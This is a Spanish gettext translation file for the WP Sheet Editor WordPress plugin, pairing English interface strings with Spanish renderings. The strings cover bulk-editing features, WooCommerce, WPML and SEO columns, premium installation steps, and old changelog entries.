                  Edit Hundreds of Posts at Once with just a few clicks. Search and " "replace, Replace urls and phrases, save values to fields in bulk, copy " "values between fields, merge fields, etc..

                  Examples: Copy regular " "price to sale price, update product attributes names, etc.

                  " msgstr "" "

                  Editar cientos de entradas a la vez con unos pocos clics. Buscar y " "reemplazar. Reemplazar URLs y frases. Guardar valores en campos masivamente. " "Copiar valores entre campos. Combinar campos. Y mucho más.

                  Ejemplos: " "Copiar el precio normal al precio de rebajado, actualizar los nombres de los " "atributos de los productos, etc.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:440 msgid "Math Formulas" msgstr "Fórmulas matemáticas" #: wp-sheet-editor/dev/wp-sheet-editor.php:443 msgid "" "

                  Edit Hundreds of Posts at Once. Update numeric fields using advanced " "math formulas. Example, increase prices by 10% , manage inventory , etc. Run " "any math formula.

                  You can use multiple fields in the formula, for " "example, \"Regular price x Inventory / Sales price

                  " msgstr "" "

                  Editar cientos de entradas a la vez. Actualizar campos numéricos usando " "fórmulas matemáticas avanzadas. Por ejemplo, aumentar los precios en un 10%, " "gestionar el inventario, etc. Ejecutar cualquier fórmula matemática.

                  Puedes utilizar varios campos en la fórmula. Por ejemplo, \"Precio " "normal x Precio de inventario / Precio rebajado

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:450 msgid "Advanced Custom Fields" msgstr "Advanced Custom Fields" #: wp-sheet-editor/dev/wp-sheet-editor.php:453 msgid "" "

                  Advanced Custom Fields metaboxes appear in the Spreadsheet " "Automatically. So you can edit custom fields easily.

                  " msgstr "" "

                  Los campos creados con el plugin Advanced Custom Fields aparecen en la " "hoja de cálculo automáticamente. Así que puedes editar campos personalizados " "fácilmente.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:460 msgid "Edit Custom Fields in Spreadsheet" msgstr "Editar Campos Personalizados en una Hoja de Cálculo" #: wp-sheet-editor/dev/wp-sheet-editor.php:463 msgid "" "

                  You can create columns for custom fields.
                  Edit page settings added " "by your theme, event details, products information, etc.

                  " msgstr "" "

                  Puedes crear columnas para campos personalizados.
                  Editar la " "configuración de la página añadida por el tema, los detalles del evento, la " "información de los productos, etc.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:470 msgid "Edit Posts and Pages in Spreadsheet" msgstr "Editar Entradas y Páginas en una Hoja de Cálculo" #: wp-sheet-editor/dev/wp-sheet-editor.php:473 msgid "

                  Edit default post fields in spreadsheet.

                  " msgstr "

                  Editar campos de entradas por defecto en una hoja de cálculo.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:481 msgid "WooCommerce - BASIC integration" msgstr "WooCommerce - Integración BASICA" #: wp-sheet-editor/dev/wp-sheet-editor.php:484 msgid "" "

                  You can edit simple products only. Available columns: title, url, " "description, date, SKU, regular price, sale price, stock status, manage " "stock, stock quantity.

                  More columns and product types available as " "premium extension.

                  " msgstr "" "

                  Sólo puedes editar productos simples. Columnas disponibles: título, URL, " "descripción, fecha, SKU, precio normal, precio rebajado, estado de " "inventario, gestión del inventario, cantidad de existencias.

                  Más " "columnas y tipos de producto disponibles como extensión premium.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:492 msgid "Columns visibility" msgstr "Visibilidad de las columnas" #: wp-sheet-editor/dev/wp-sheet-editor.php:495 msgid "

                  You can show, hide, and sort columns in the spreadsheet.

                  " msgstr "" "

                  Puedes mostrar, ocultar y cambiar el orden de las columnas en la hoja de " "cálculo.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:501 msgid "Autofill cells" msgstr "Autocompletar las celdas" #: wp-sheet-editor/dev/wp-sheet-editor.php:504 msgid "" "

                  You can auto fill cells (copy) by dragging the cell corner into other " "cells, as you can do in excel.

                  " msgstr "" "

                  Puedes rellenar automáticamente las celdas (copiar) arrastrando la " "esquina de la celda a otras celdas, como lo haces en Excel.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:512 msgid "Basic search" msgstr "Búsqueda básica" #: wp-sheet-editor/dev/wp-sheet-editor.php:514 msgid "" "

                  Search in the spreadsheet. Find posts by keyword, status, and author.

                  " msgstr "" "

                  Buscar en la hoja de cálculo. Buscar filas por palabra clave, estado y " "autor.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:522 msgid "Columns resizing" msgstr "Redimensionar columnas" #: wp-sheet-editor/dev/wp-sheet-editor.php:524 msgid "" "

                  Resize columns in the spreadsheet and save it for future sessions.

                  " msgstr "" "

                  Puedes cambiar el tamaño de las columnas en la hoja de cálculo y " "guardarlo para sesiones futuras.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:530 msgid "Duplicate (Tool)" msgstr "Duplicar (Herramienta)" #: wp-sheet-editor/dev/wp-sheet-editor.php:532 msgid "" "

                  Add a \"duplicate\" tool to the spreadsheet. You can select one row " "(post, product, coupon, etc.) and create a lot of copies.

                  Example. " "Create 100 products with the same tags, dimensions, attributes, and " "variations. And only change a couple of fields manually.

                  " msgstr "" "

                  Añadir una herramienta de \"duplicar\" a la hoja de cálculo. Puedes " "seleccionar una fila (entrada, producto, cupón, etc.) y crear muchas copias." "

                  Ejemplo: Crear 100 productos con las mismas etiquetas, dimensiones, " "atributos y variaciones. Y sólo cambiar un par de campos manualmente.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:546 msgid "Everything you need for All Posts Types and Products" msgstr "Todo lo que necesitas para todos los post types y productos" #: wp-sheet-editor/dev/wp-sheet-editor.php:553 #: wp-sheet-editor/dev/wp-sheet-editor.php:566 msgid "Buy bundle" msgstr "Comprar el paquete" #: wp-sheet-editor/dev/wp-sheet-editor.php:559 msgid "Everything you need for Users and Customers" msgstr "Todo lo que necesitas para los usuarios y clientes" #: wp-sheet-editor/dev/wp-sheet-editor.php:671 msgid "" "

                  WP Sheet Editor

                  \r\n" "

                  Do you want to install the premium plugin that you " "purchased? Follow these steps:

                  \r\n" "
                    \r\n" "
                  1. If you were using the free version of the plugin " "before the purchase, you need to uninstall the free version now
                  2. \r\n" "
                  3. When you purchased the plugin, you received an email " "with the download link and license key
                  4. \r\n" "
                  5. Now go to this " "page and click on the \"Upload\" button at the top
                  6. \r\n" "
                  7. Upload the premium zip file
                  8. \r\n" "
                  9. Activate the plugin
                  10. \r\n" "
                  11. You will see a screen asking for a license, enter " "your license key
                  12. \r\n" "
                  13. Done. Now you should see the welcome page where you " "can set up the plugin and start using it
                  14. \r\n" "
                  \r\n" "

                  If you need help, you can contact us

                  " msgstr "" "

                  WP Sheet Editor

                  \n" "

                  ¿Quieres instalar el plugin premium que compraste? Sigue " "estos pasos:

                  \n" "
                    \n" "
                  1. Si estabas usando la versión gratuita del plugin " "antes de la compra, necesita desinstalar la versión gratuita ahora.
                  2. \n" "
                  3. Cuando compraste el plugin, recibiste un correo " "electrónico con el enlace de descarga y la clave de licencia.
                  4. \n" "
                  5. ahora ve a esta " "página y haz clic en el botón \"Subir plugin\".
                  6. \n" "
                  7. Sube el archivo zip del plugin.
                  8. \n" "
                  9. Activa el plugin.
                  10. \n" "
                  11. Verás una pantalla solicitándote la licencia. " "Ingresa la licencia.
                  12. \n" "
                  13. Listo. Ahora deberías ver la página de bienvenida " "donde puedes configurar y comenzar a usar el plugin.
                  14. \n" "
                  \n" "

                  Si necesitas ayuda, puedes contactarnos

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:1046 msgid "Quick Answers" msgstr "Respuestas rápidas" #: wp-sheet-editor/dev/wp-sheet-editor.php:1047 msgid "You can read our FAQ with a list of hundreds of questions" msgstr "" "Puedes leer nuestras Preguntas Frecuentes con una lista de cientos de " "preguntas" #: wp-sheet-editor/dev/wp-sheet-editor.php:1051 msgid "Guides and Tutorials" msgstr "Guías y Tutoriales" #: wp-sheet-editor/dev/wp-sheet-editor.php:1052 msgid "We have +200 tutorials and guides on our blog" msgstr "Tenemos CIENTOS de tutoriales y guías en nuestro blog" #: wp-sheet-editor/dev/wp-sheet-editor.php:1057 msgid "Get instant help in the live chat + email support during business hours" msgstr "" "Obtén ayuda instantánea en el chat en vivo + soporte por correo electrónico " "en horas de oficina" #: wp-sheet-editor/dev/wp-sheet-editor.php:1094 msgid "WP Sheet Editor Usage" msgstr "Uso de WP Sheet Editor" #: wpml/inc/post.php:132 wpml/inc/term.php:74 msgid "WPML - Missing translations in these languages" msgstr "WPML - Faltan traducciones en estos idiomas" #: wpml/inc/post.php:132 msgid "" "For example, select \"Spanish\" and \"German\" here and we'll find products " "that don't have spanish translations or german translations." msgstr "" "Por ejemplo, selecciona \"español\" y \"alemán\" aquí y encontraremos " "productos que no tienen traducción al español ni al alemán." #: wpml/inc/post.php:369 wpml/inc/term.php:247 msgid "WPML - Duplicate" msgstr "WPML - Duplicar" #: wpml/inc/post.php:377 wpml/inc/term.php:255 msgid "" "Enter multiple language codes separated by commas and we will create copies " "of the main language. For example: en, es. Existing languages will be " "skipped." msgstr "" "Ingresa los códigos de varios idiomas separados por comas y crearemos copias " "del idioma principal. Por ejemplo: en, es. Los idiomas existentes serán " "omitidos." #: wpml/inc/post.php:389 wpml/inc/term.php:228 msgid "WPML - Translation of" msgstr "WPML - Traducción de" #: wpml/inc/post.php:408 msgid "WPML - Relationship" msgstr "WPML - Relación" #: wpml/inc/post.php:419 msgid "Duplicate from the main language" msgstr "Duplicar desde el idioma principal" #: wpml/inc/post.php:420 msgid "Translate separately" msgstr "Traducir por separado" #: wpml/inc/post.php:435 wpml/inc/term.php:267 msgid "WPML - Language" msgstr "WPML - Idioma" #: wpml/inc/post.php:446 wpml/inc/term.php:281 msgid "" "You can change the language of this post. If the translation for the new " "language exists, this change will not be applied." msgstr "" "Puedes cambiar el idioma de esta entrada. Si existe la traducción para el " "nuevo idioma, este cambio no se aplicará." #: wpml/inc/post.php:458 msgid "WPML - Translation priority" msgstr "WPML - Prioridad de traducción" #: wpml/inc/term.php:74 msgid "" "For example, select \"Spanish\" and \"German\" here and we'll find terms " "that don't have spanish translations or german translations." msgstr "" "Por ejemplo, selecciona \"español\" y \"alemán\" aquí y encontraremos " "términos que no tienen traducción al español ni al alemán." #: yoast-seo/yoast-seo.php:27 msgid "" "Please update the WP Sheet Editor plugin and all its extensions to the " "latest version. The features of the plugin \"" msgstr "" "Por favor, actualiza el plugin WP Sheet Editor y todas sus extensiones a la " "última versión. Las características del plugin \"" #: yoast-seo/yoast-seo.php:238 msgid "SEO Title" msgstr "Título SEO" #: yoast-seo/yoast-seo.php:260 msgid "SEO Description" msgstr "Descripción SEO" #: yoast-seo/yoast-seo.php:278 msgid "SEO Keyword" msgstr "Palabra clave de SEO" #: yoast-seo/yoast-seo.php:299 msgid "SEO FB title" msgstr "Título SEO para Facebook" #: yoast-seo/yoast-seo.php:315 msgid "SEO FB description" msgstr "Descripción SEO para Facebook" #: yoast-seo/yoast-seo.php:331 msgid "SEO FB image" msgstr "Imagen SEO para Facebook" #: yoast-seo/yoast-seo.php:349 msgid "SEO TW title" msgstr "Título SEO para Twitter" #: yoast-seo/yoast-seo.php:365 msgid "SEO TW description" msgstr "Descripción SEO para Twitter" #: yoast-seo/yoast-seo.php:381 msgid "SEO TW image" msgstr "Imagen SEO para Twitter" #: yoast-seo/yoast-seo.php:399 msgid "SEO Canonical URL" msgstr "URL Canónica de SEO" #: yoast-seo/yoast-seo.php:421 msgid "SEO No Index" msgstr "SEO - No indexar" #: yoast-seo/yoast-seo.php:449 msgid "SEO" msgstr "SEO" #: yoast-seo/yoast-seo.php:474 msgid "SEO Primary %s" msgstr "%s SEO Primario" #~ msgid "Post ID" #~ msgstr "ID" #~ msgid "The cells will display the date in the format: YYYY-MM-DD" #~ msgstr "Las celdas mostrarán la fecha en el formato: AAAA-MM-DD" #~ msgid "Generated formula:" #~ msgstr "Fórmula generada:" #~ msgid "Execute formula on future posts automatically (Advanced users only)" #~ msgstr "" #~ "Ejecutar la fórmula en futuros posts automáticamente (Sólo usuarios " #~ "avanzados)" #~ msgid "" #~ "If you mark this option , when you create or update a post in the " #~ "spreadsheet, we will check if the post matches the formula parameters and " #~ "execute the formula automatically on that post. For example. When you " #~ "create a product with category apples we can set the description " #~ "automatically, or when you change the SKU we can update the downloadable " #~ "files URLs automatically." #~ msgstr "" #~ "Si marcas esta opción, cuando crees o actualices un post en la hoja de " #~ "cálculo, comprobaremos si el post coincide con los parámetros de la " #~ "fórmula y ejecutaremos la fórmula automáticamente en ese post. Por " #~ "ejemplo. Al crear un producto con la categoría \"Manzanas\" podemos " #~ "establecer la descripción automáticamente, o al cambiar el SKU podemos " #~ "actualizar las URL de los archivos descargables automáticamente." #~ msgid "Execute on future posts only" #~ msgstr "Ejecutar sólo en futuros posts" #~ msgid "" #~ "Here you can view all the formulas saved for ongoing execution. These " #~ "formulas will be executed on posts matching the filters when they are " #~ "created or updated in the spreadsheet." #~ msgstr "" #~ "Aquí puedes ver todas las fórmulas guardadas para la ejecución en curso. " #~ "Estas fórmulas se ejecutarán en los post que coincidan con los filtros " #~ "cuando se creen o actualicen en la hoja de cálculo." #~ msgid "" #~ "Note. If you want to modify saved formulas you have to delete the formula " #~ "and create it again in the formulas builder." #~ msgstr "" #~ "Nota. Si quieres modificar fórmulas guardadas, tienes que borrar la " #~ "fórmula y crearla de nuevo en el editor de fórmulas." #~ msgid "You haven't saved formulas yet." #~ msgstr "Aun no has guardado fórmulas." #~ msgid "Field to update:" #~ msgstr "Campo a actualizar:" #~ msgid "Formula type:" #~ msgstr "Tipo de fórmula:" #~ msgid "Formula parameters:" #~ msgstr "Parámetros de la fórmula:" #~ msgid "Parameter:" #~ msgstr "Parámetro:" #~ msgid "All" #~ msgstr "Todo" #~ msgid "" #~ "Replace existing value with a random value from this list. Enter the " #~ "values separated with |" #~ msgstr "" #~ "Reemplazar un valor existente con un valor aleatorio de esta lista. " #~ "Ingresa valores separados con |" #~ msgid "" #~ "Note. More than 75 copies at once might overload the server. Do it in " #~ "small batches.
                  You can continue if you think your server can handle it." #~ msgstr "" #~ "Nota. Más de 75 copias a la vez podrían sobrecargar el servidor. Hazlo en " #~ "lotes pequeños.
                  Puedes continuar si crees que tu servidor puede " #~ "manejarlo." #~ msgid "Edit in Google Sheets" #~ msgstr "Editar en Google Sheets" #~ msgid "" #~ "1. Open Google Sheets." #~ "
                  2. Click on \"wp sheet editor\" in the menu
                  3. Enter this link in " #~ "the \"quick access\" option in the Google Sheet sidebar." #~ msgstr "" #~ "1. Open Google Sheets." #~ "
                  2. Click on \"wp sheet editor\" in the menu
                  3. Enter this link in " #~ "the \"quick access\" option in the Google Sheet sidebar." #~ msgid "" #~ "Use this link privately for security reasons, this link expires after one " #~ "usage." #~ msgstr "" #~ "Usa este enlace de forma privada por razones de seguridad, este enlace " #~ "expira después de un uso." #~ msgid "JWT is not configurated properly, please contact the admin" #~ msgstr "" #~ "JWT no está configurado correctamente, por favor contacta con el " #~ "administrador" #~ msgid "The quick access link has expired or it does not exist" #~ msgstr "El enlace de acceso rápido ha caducado o no existe" #~ msgid "Note. This works in Google Chrome only." #~ msgstr "Nota. Esto sólo funciona en Google Chrome." #~ msgid "" #~ "Add this code at the beginning of the .htaccess file in the root " #~ "directory of your website. It is required for authenticating requests " #~ "between Google Sheets and WordPress" #~ msgstr "" #~ "Añade este código al principio del archivo .htaccess en el directorio " #~ "raíz de tu sitio web. Es necesario para autentificar las solicitudes " #~ "entre Google Sheets y WordPress" #~ msgid "" #~ "Install the \"WP Sheet Editor\" chrome extension. Install" #~ msgstr "" #~ "Instalar la extensión \"WP Sheet Editor\" en Chrome. Instalar" #~ msgid "" #~ "Open Google Sheets. Click here" #~ msgstr "" #~ "Abrir Google Sheets. Clic aquí" #~ msgid "In Google Sheets > top toolbar. Open the \"WordPress\" option." #~ msgstr "" #~ "En Google Sheets > barra de herramientas superior. Abre la opción " #~ "\"WordPress\"." #~ msgid "" #~ "Copy this access link and paste it in Google Sheets. Get quick access link" #~ msgstr "" #~ "Copia este enlace de acceso y pégalo en Google Sheets. Obtener enlace de acceso rápido " #~ msgid "" #~ "You must use it privately for security reasons, this link expires after " #~ "one usage." #~ msgstr "" #~ "Debes utilizarlo en privado por razones de seguridad, este enlace expira " #~ "después de un uso." #~ msgid "Error 8391. You dont have enough permissions to view this page." #~ msgstr "Error 8391. No tienes suficientes permisos para ver esta página." #~ msgid "Add new posts" #~ msgstr "Añadir nuevos posts" #~ msgid "Deactivate everything. Use the REST API only" #~ msgstr "Desactivar todo. Usar sólo la API REST" #~ msgid "" #~ "If you activate this option we will deactivate all the spreadsheets, " #~ "settings pages, and the entire plugin will become invisible to the user. " #~ "Only the REST API will remain active. This is useful for advanced " #~ "scenarios when you only use our REST API to keep websites synchronized " #~ "with external spreadsheets or systems. When this option is active, our " #~ "settings page will moved under the general settings menu because our " #~ "sheet editor menu will be removed" #~ msgstr "" #~ "Si activas esta opción, desactivaremos todas las hojas de cálculo, " #~ "páginas de configuración y el plugin completo se volverá invisible para " #~ "el usuario. Sólo la API REST permanecerá activa. Esto es útil para " #~ "escenarios avanzados cuando sólo usas nuestra API REST para mantener los " #~ "sitios web sincronizados con hojas de cálculo o sistemas externos. Cuando " #~ "esta opción está habilitada, nuestra página de configuración se moverá " #~ "bajo el menú de configuración general porque nuestro menú de editor de " #~ "hojas será eliminado" #~ msgid "" #~ "The taxonomy columns (i.e. categories, tags) use a limited dropdown by " #~ "default for selecting one term only and the column can be copy pasted. We " #~ "have a fancy dropdown selector, which has better auto complete, allows " #~ "selecting multiple options, etc. but it uses more server resources and it " #~ "doesn't allow copy pasting in these cells. You can activate it here if " #~ "you prefer a better dropdown over the ability to copy paste." #~ msgstr "" #~ "Las columnas de taxonomía (es decir, las categorías, las etiquetas) " #~ "utilizan un menú desplegable limitado por defecto para seleccionar un " #~ "solo término y la columna se puede copiar y pegar. Tenemos un selector " #~ "desplegable de avanzado, que tiene mejor autocompletado, permite " #~ "seleccionar múltiples opciones, etc. pero utiliza más recursos del " #~ "servidor y no permite copiar y pegar en estas celdas. Puedes activarlo " #~ "aquí si prefieres un desplegable mejor que la capacidad de copiar y pegar." #~ msgid "Enable the REST API" #~ msgstr "Habilitar la API REST" #~ msgid "" #~ "The REST API can be used for interacting with our spreadsheet from " #~ "external apps." #~ msgstr "" #~ "La API REST puede utilizarse para interactuar con nuestra hoja de cálculo " #~ "desde aplicaciones externas." #, fuzzy #~| msgid "Parent Spreadsheet:" #~ msgid "Current spreadsheet: %s" #~ msgstr "Hoja Superior:" #~ msgid "0 rows" #~ msgstr "0 filas" #~ msgid "" #~ "New extension - WooCommerce Coupons - View/edit coupons in a spreadsheet. " #~ "Advanced search, Bulk Edit hundreds of coupons, etc. Perfect for the " #~ "christmas season. View Extension)" #~ msgstr "" #~ "Nueva extensión - Cupones WooCommerce - Ver/editar cupones en una hoja de " #~ "cálculo. Búsqueda avanzada, edición masiva de cientos de cupones, etc. " #~ "Perfecto para la temporada navideña. Ver " #~ "Extensión )" #~ msgid "" #~ "New extension - EVENTS - View/edit events, venues, and organizers in a " #~ "spreadsheet. Advanced search, etc. View " #~ "Extension)" #~ msgstr "" #~ "Nueva extensión - EVENTOS - Ver/editar eventos, lugares y organizadores " #~ "en una hoja de cálculo. Búsqueda avanzada, etc. Ver Extensión )" #~ msgid "" #~ "New feature - Added support for Advanced Custom Fields > relationship " #~ "fields. Paid users only. Upgrade)" #~ msgstr "" #~ "Nueva característica - Añadido soporte para Campos Personalizados " #~ "Avanzados > campos de relación. Sólo usuarios de pago . Actualizar)" #~ msgid "" #~ "Improved tools: formulas engine. Now you can make advanced searches and " #~ "apply formulas to the search results. Paid users only. Upgrade)" #~ msgstr "" #~ "Herramientas mejoradas: motor de fórmulas. Ahora puedes hacer búsquedas " #~ "avanzadas y aplicar fórmulas a los resultados de la búsqueda. Sólo " #~ "usuarios de pago . Actualizar)" #~ msgid "" #~ "Improved sheet: Moved settings to a dropdown to simplify the UI and added " #~ "new context menu options" #~ msgstr "" #~ "Hoja mejorada: Se ha movido la configuración a un menú desplegable para " #~ "simplificar la interfaz de usuario y se han añadido nuevas opciones de " #~ "menú contextual" #~ msgid "" #~ "Improved tools: columns visibility. Now you can delete unnecessary " #~ "columns and improved sorting and disable logic" #~ msgstr "" #~ "Herramientas mejoradas: visibilidad de columnas. Ahora puedes eliminar " #~ "columnas innecesarias y mejorar la lógica de ordenación y desactivación" #~ msgid "Fixed more than 13 bugs" #~ msgstr "Arreglados más de 13 bugs" #~ msgid "Improved 7 features" #~ msgstr "7 características mejoradas" #~ msgid "Updated 6 extensions." #~ msgstr "Actualizadas 6 extensiones." #~ msgid "View the entire changelog" #~ msgstr "" #~ "Ver el registro de cambios completo " #~ msgid "Dropdown with predefined options" #~ msgstr "Desplegable con opciones predefinidas" #~ msgid "" #~ "In this page you can select the label for every column displayed in the " #~ "spreadsheet editor. Each post type has its own set of options." #~ msgstr "" #~ "En esta página puedes seleccionar la etiqueta para cada columna mostrada " #~ "en el editor de la hoja de cálculo. Cada tipo de post tiene su propio " #~ "conjunto de opciones." #~ msgid "

                  " #~ msgstr "

                  " #~ msgid "Post type: %s" #~ msgstr "Tipo de Post: %s" #~ msgid "Label for %s?" #~ msgstr "Etiqueta para %s?" #~ msgid "Columns Labels" #~ msgstr "Etiquetas de las columnas" #~ msgid "Enter the new value." #~ msgstr "Ingresa el nuevo valor." #~ msgid "Enter the term(s) to append to the existing term(s)." #~ msgstr "" #~ "Ingresa el término(s) a agregar al final del término(s) existente(s)." #~ msgid "" #~ "For example, if you searched for posts by \"author = Mark\" using the " #~ "search tool, we will export only posts with \"author Mark\"" #~ msgstr "" #~ "Por ejemplo, si buscaste los posts por \"autor = Marcos\" usando la " #~ "herramienta de búsqueda, exportaremos sólo los posts con \"autor Marcos\"" #~ msgid "Post Types" #~ msgstr "Tipos de Post" #~ msgid "" #~ "

                  Security: Now the file upload cells are displayed only to the users " #~ "that have permissions to upload files.

                  " #~ msgstr "" #~ "

                  Seguridad: Ahora las celdas de carga de archivos se muestran sólo para " #~ "los usuarios que tienen permisos para cargar archivos.

                  " #~ msgid "" #~ "

                  Security: Now the private posts and pages are displayed only to the " #~ "users who have permissions to read and edit them.

                  " #~ msgstr "" #~ "

                  Seguridad: Ahora los posts y páginas privadas se muestran sólo a los " #~ "usuarios que tienen permisos para leerlos y editarlos.

                  " #~ msgid "" #~ "

                  Security: Now we don´t allow users to publish posts if they don´t have " #~ "permissions to publish, we save them as drafts.

                  " #~ msgstr "" #~ "

                  Seguridad: Ahora no permitimos que los usuarios publiquen posts si no " #~ "tienen permisos para publicarlos. Los guardamos como borradores.

                  " #~ msgid "

                  Other minor changes.

                  " #~ msgstr "

                  Otros cambios menores

                  " #~ msgid "" #~ "

                  New feature: Now the first column of the spreadsheet is always visible " #~ "while scrolling to the right.

                  " #~ msgstr "" #~ "

                  Nueva característica: Ahora la primera columna de la hoja de cálculo " #~ "está siempre visible mientras te desplazas hacia la derecha.

                  " #~ msgid "

                  Other minor changes and fixes.

                  " #~ msgstr "

                  Otros cambios menores.

                  " #~ msgid "" #~ "

                  New feature: Now you can edit WooCommerce products in the free plugin, " #~ "but with limited columns and product types.

                  " #~ msgstr "" #~ "

                  Nueva característica: Ahora puedes editar productos WooCommerce en el " #~ "plugin gratuito, aunque con columnas y tipos de producto limitados.

                  " #~ msgid "

                  New feature: Now you can upload featured images using URLs.

                  " #~ msgstr "" #~ "

                  Nueva característica: Ahora puedes subir imágenes destacadas usando " #~ "URLs.

                  " #~ msgid "" #~ "

                  Improvement: Now the spreadsheet support hundreds of rows at once, and " #~ "saving is faster.

                  " #~ msgstr "" #~ "

                  Mejora: Ahora la hoja de cálculo soporta cientos de filas a la vez, y " #~ "el guardado es más rápido.

                  " #~ msgid "" #~ "

                  NEW - USERS - Released users extension for editing WordPress users in " #~ "spreadsheet. Check extension

                  " #~ msgstr "" #~ "

                  NUEVO - USUARIOS - Extensión de usuarios lanzada para editar usuarios " #~ "de WordPress en una hoja de cálculo. Revisar la extensión

                  " #~ msgid "" #~ "

                  NEW - CORE - Added \"search\" tool. Search by keyword, author, and " #~ "post status.

                  " #~ msgstr "" #~ "

                  NUEVO - NÚCLEO - Se agregó la herramienta de \"búsqueda\". Buscar por " #~ "palabra clave, autor y estado del post.

                  " #~ msgid "" #~ "

                  NEW - COLUMNS RESIZING - Allow to resize columns and save for next " #~ "sessions.

                  " #~ msgstr "" #~ "

                  NUEVO - CAMBIAR EL TAMAÑO DE LAS COLUMNAS - Permite cambiar el tamaño " #~ "de las columnas y guardar para las próximas sesiones.

                  " #~ msgid "" #~ "

                  NEW - FILTERS - Added bar showing active filters with options to " #~ "remove individual filters.

                  " #~ msgstr "" #~ "

                  NUEVO - FILTROS - Se ha añadido una barra que muestra los filtros " #~ "activos con opciones para eliminar filtros individuales.

                  " #~ msgid "" #~ "

                  NEW - CORE - Added status bar showing number of posts loaded in " #~ "spreadsheet and total posts available according to the filters.

                  " #~ msgstr "" #~ "

                  NUEVO - NÚCLEO - Se ha añadido una barra de estado que muestra el " #~ "número de posts cargados en la hoja de cálculo y el total de posts " #~ "disponibles según los filtros.

                  " #~ msgid "" #~ "

                  NEW - CORE - Added settings page button in the toolbar for quick " #~ "access.

                  " #~ msgstr "" #~ "

                  NUEVO - NÚCLEO- Botón de la página de ajustes añadido en la barra de " #~ "herramientas para un acceso rápido.

                  " #~ msgid "

                  NEW - CORE - Updated welcome page to showcase extensions.

                  " #~ msgstr "" #~ "

                  NUEVO - NÚCLEO - Página de bienvenida actualizada para mostrar las " #~ "extensiones.

                  " #~ msgid "

                  CHANGE - CORE - Updated texts for improved usability.

                  " #~ msgstr "" #~ "

                  CAMBIO - NÚCLEO - Textos actualizados para mejorar la usabilidad.

                  " #~ msgid "" #~ "

                  CHANGE - CORE - Removed extensions teasers and replaced with a simple " #~ "text message.

                  " #~ msgstr "" #~ "

                  CAMBIO - NÚCLEO - Se han eliminado los teasers de las extensiones y se " #~ "han sustituido por un simple mensaje de texto.

                  " #~ msgid "" #~ "

                  CHANGE - CORE - If the spreadsheet wasn´t modified, don´t show the " #~ "\"please save your changes\" notification when the page is closed.

                  " #~ msgstr "" #~ "

                  CAMBIO - NÚCLEO - Si la hoja de cálculo no fue modificada, no mostrar " #~ "la notificación \"Por favor, guarda tus cambios\" cuando la página esté " #~ "cerrada.

                  " #~ msgid "" #~ "

                  FIX - CORE - When closing file uploads or tinymce popups, the screen " #~ "doesn´t return to the original position.

                  " #~ msgstr "" #~ "

                  AJUSTE - CORE - Al cerrar las subidas de archivos o ventanas " #~ "emergentes de tinymce, la pantalla no vuelve a su posición original.

                  " #~ msgid "

                  FIX - CORE - Sometimes options page doesn´t load.

                  " #~ msgstr "

                  AJUSTE- NÚCLEO - A veces la página de opciones no se carga.

                  " #~ msgid "

                  FIX - CORE - Schedule posts are not showing on spreadsheet.

                  " #~ msgstr "" #~ "

                  AJUSTE - NÚCLEO - Los posts del horario no se muestran en la hoja de " #~ "cálculo.

                  " #~ msgid "" #~ "

                  FIX - FILTERS - When using the same filter multiple times with " #~ "different values it starts returning wrong posts.

                  " #~ msgstr "" #~ "

                  AJUSTE - FILTROS - Cuando se utiliza el mismo filtro varias veces con " #~ "valores diferentes, comienza a devolver mensajes erróneos.

                  " #~ msgid "" #~ "

                  FIX - FILTERS - When making a lot of searches, the total posts count " #~ "changes and the infinite scroll stops working.

                  " #~ msgstr "" #~ "

                  AJUSTE - FILTROS - Cuando se hacen muchas búsquedas, el total de posts " #~ "cambia de cuenta y el desplazamiento infinito deja de funcionar.

                  " #~ msgid "" #~ "

                  FIX - CORE - it doesn´t allow to create new WooCommerce products.

                  " #~ msgstr "" #~ "

                  AJUSTE - NÚCLEO - No permite crear nuevos productos WooCommerce.

                  " #~ msgid "" #~ "

                  FIX - CORE - Spreadsheet becomes too slow when loading thousands of " #~ "rows.

                  " #~ msgstr "" #~ "

                  AJUSTE - NÚCLEO - La hoja de cálculo se vuelve demasiado lenta cuando " #~ "se cargan miles de filas.

                  " #~ msgid "" #~ "

                  NEW - POST TEMPLATES - Released free extension for duplicating posts " #~ "in the spreadsheet. Check extension" #~ msgstr "" #~ "

                  NUEVO - PLANTILLAS DE POST - Lanzamiento de una extensión gratuita " #~ "para la duplicación de posts en la hoja de cálculo. Revisar la extensión

                  " #~ msgid "" #~ "

                  NEW - COLUMNS VISIBILITY - This premium feature is now free. You can " #~ "hide and sort columns in the spreadsheet.

                  " #~ msgstr "" #~ "

                  NUEVO - VISIBILIDAD DE LAS COLUMNAS - Esta característica premium es " #~ "ahora gratuita. Puedes ocultar y ordenar columnas en la hoja de cálculo." #~ msgid "" #~ "

                  NEW - AUTO FILL CELLS - This premium feature is now free. You can " #~ "autofill cells by dragging down a cell like you do in excel.

                  " #~ msgstr "" #~ "

                  NUEVO - AUTOLLENAR CELDAS - Esta característica premium es ahora " #~ "gratuita. Puedes rellenar automáticamente las celdas arrastrando hacia " #~ "abajo una celda como lo haces en Excel.

                  " #~ msgid "" #~ "

                  NEW - WOOCOMMERCE - Added new columns to the free version of the " #~ "plugin: SKU, Width, Length, Height, Weight, Manage stock, Stock status, " #~ "and stock quantity.

                  " #~ msgstr "" #~ "

                  NUEVO - WOOOCOMMERCE - Se han añadido nuevas columnas a la versión " #~ "gratuita del plugin: SKU, Anchura, Longitud, Altura, Peso, Gestionar " #~ "stock, Estado de stock y cantidad de stock.

                  " #~ msgid "" #~ "

                  CHANGE - CORE - Improved usability. We updated some texts to make it " #~ "clear what features are free and what features are premium

                  " #~ msgstr "" #~ "

                  cambio - núcleo - Mejora de la usabilidad. Hemos actualizado algunos " #~ "textos para dejar claro qué características son gratuitas y qué " #~ "características son premium

                  " #~ msgid "" #~ "

                  CHANGE - CORE - the quick setup flow was redesigned to make the setup " #~ "easier to understand.

